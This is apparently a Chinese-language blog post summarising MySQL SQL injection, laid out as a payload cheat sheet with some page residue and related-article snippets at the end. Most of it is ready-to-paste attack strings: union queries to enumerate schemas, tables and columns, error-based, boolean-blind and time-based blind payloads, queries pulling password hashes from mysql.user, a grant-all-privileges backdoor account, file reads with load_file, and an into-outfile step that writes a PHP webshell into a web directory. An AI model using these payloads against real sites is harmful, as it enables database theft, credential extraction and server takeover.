mysql注入總結

2021-09-08 03:47:54 字數 4915 閱讀 6708

目錄:

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql報錯注入

0x03 mysql一般盲注

0x04 mysql時間盲注

0x05 mysql其他注入技巧

0x06 mysql資料庫版本特性

0x07 宣告

正文:0x00 mysql一般注入(select)

1.注釋符#/*

—2.過濾空格注入

使用/**/或()或+代替空格

%0c = form feed, new page

%09 = horizontal tab

%0d = carriage return

%0a = line feed, new line

3.多條資料顯示

concat()

group_concat()

concat_ws()

4.相關函式

system_user() 系統使用者名稱

user() 使用者名稱

current_user 當前使用者名稱

session_user()連線資料庫的使用者名稱

database() 資料庫名

version() mysql資料庫版本

load_file() mysql讀取本地檔案的函式

@@datadir 讀取資料庫路徑

@@basedir mysql 安裝路徑

@@version_compile_os 作業系統 windows server 2003

grant all privileges on *.* to 『root』@』%』 identified by 『123456』 with grant option;

5.mysql一般注入語句

猜字段數

order by n/*

檢視mysql基本資訊

and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*

查詢資料庫

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

查詢表名

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=資料庫的16進製制編碼 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=資料庫的16進製制編碼/*

查詢字段

and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六進製制編碼 and table_schema=資料庫的16進製制編碼 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六進製制編碼 and table_schema=資料庫的16進製制編碼/*

查詢資料

and 1=2 union select 1,2,3,欄位1,5,欄位2,7,8 from 資料庫.表/*

判斷是否具有讀寫許可權

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

6.mysql讀取寫入檔案

必備條件:

讀:file許可權必備

寫:1.絕對路徑 2.union使用 3. 可以使用」

————————-讀———————-

mysql3.x讀取方法

create table a(cmd text);

load data infile 『c:\\***\\***\\***.txt』 into table a;

select * from a;

mysql4.x讀取方法

除上述方法還可以使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file(『c:\\ddd\\ddd\\ddd.txt』));

select * from a;

mysql5.x讀取方法

上述兩種都可以

讀取檔案技巧:

load_file(char(32,26,56,66))

load_file(0x633a5c626f6f742e696e69)

————寫————————–

into outfile寫檔案

union select 1,2,3,char(這裡寫入你轉換成10進製或16進製制的一句話木馬**),5,6,7,8,9,10,7 into outfile 『d:\web\90team.php』/*

0x01 mysql一般注入(insert、update)

mysql一般請求mysql_query不支援多語句執行,mysqli可以。

insert注入多使用報錯注入!

1.如果可以直接插入管理員可以直接使用!

insert into user(username,password) values(『***x』,』 ***x』),(『dddd』,』dddd』)/* 『);

2.如果可以插入一些資料,這些資料會在網頁中顯示,我們可以結合xxs和csrf來獲取cookies或getshell

update注入同上

0x02 mysql報錯注入

1. and(select 1 from(select count(*),concat((select (select (語句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

語句處填入一般一句,如:select distinct concat(0x7e,0x27,schema_name,0x27,0x7e) from information_schema.schemata limit 0,1

2. and+1=(select+*+from+(select+name_const((語句),1),name_const((語句),1))+as+x)–

3.update web_ids set host=』www.0x50sec.org』 where id =1 and (select 1 from (select count(*),concat(floor(rand(0)*2),(substring((select (語句)),1,62)))a from information_schema.tables group by a)b);

4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),(substring((select (語句)),1,62)))a from information_schema.tables group by a)b)));

0x03 mysql一般盲注

使用ascii

and ascii(substring((select password from users where id=1),1,1))=49

使用正規表示式

and 1=(select 1 from information_schema.tables  where table_schema=」blind_sqli」 and table_name regexp 『^[a-n]』 limit 0,1)

0x04 mysql時間盲注

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode(『msg』,』by 5 seconds』)),null) from (select database() as current) as tbl

union select if(substring(password,1,1)=』a』,benchmark(100000,sha1(1)),0) user,password from mysql.user where user = 『root』

0x05 mysql其他注入技巧

以後遇見了更新

0x06 mysql資料庫版本特性

1. mysql5.0以後  information.schema庫出現

2. mysql5.1以後 udf 匯入xx\lib\plugin\ 目錄下

3.mysql5.x以後 system執行命令

mysql注入總結 mysql注入總結

4.相關函式 system user 系統使用者名稱 user 使用者名稱 current user 當前使用者名稱 session user 連線資料庫的使用者名稱 database 資料庫名 version mysql資料庫版本 load file mysql讀取本地檔案的函式 datadir ...

mysql 注入補丁 mysql手工注入總結

mysql的注入,關鍵是要找到注入點,對注入點進行處理,該閉合的引號,括號等要先進行閉合,然後注釋掉多餘的語句 一 稍微總結下幾種閉合方法 一般來說,程式設計師在書寫select語句時,會對傳入的變數進行一些處理,常見的有如下幾種,這裡以php為例,假設傳輸進來的變數為 id 其他後端語言也相同。s...

mysql注入ctf CG CTF SQL注入

sql注入1 題目訪問題目 先檢視一下原始碼 仔細分析一下核心原始碼 if post user post pass 判斷結果集中的user引數對應的值是不是admin,如果是返回flag,不是則返回 you are not admin echo query user 回顯查詢到的user值 通過分析...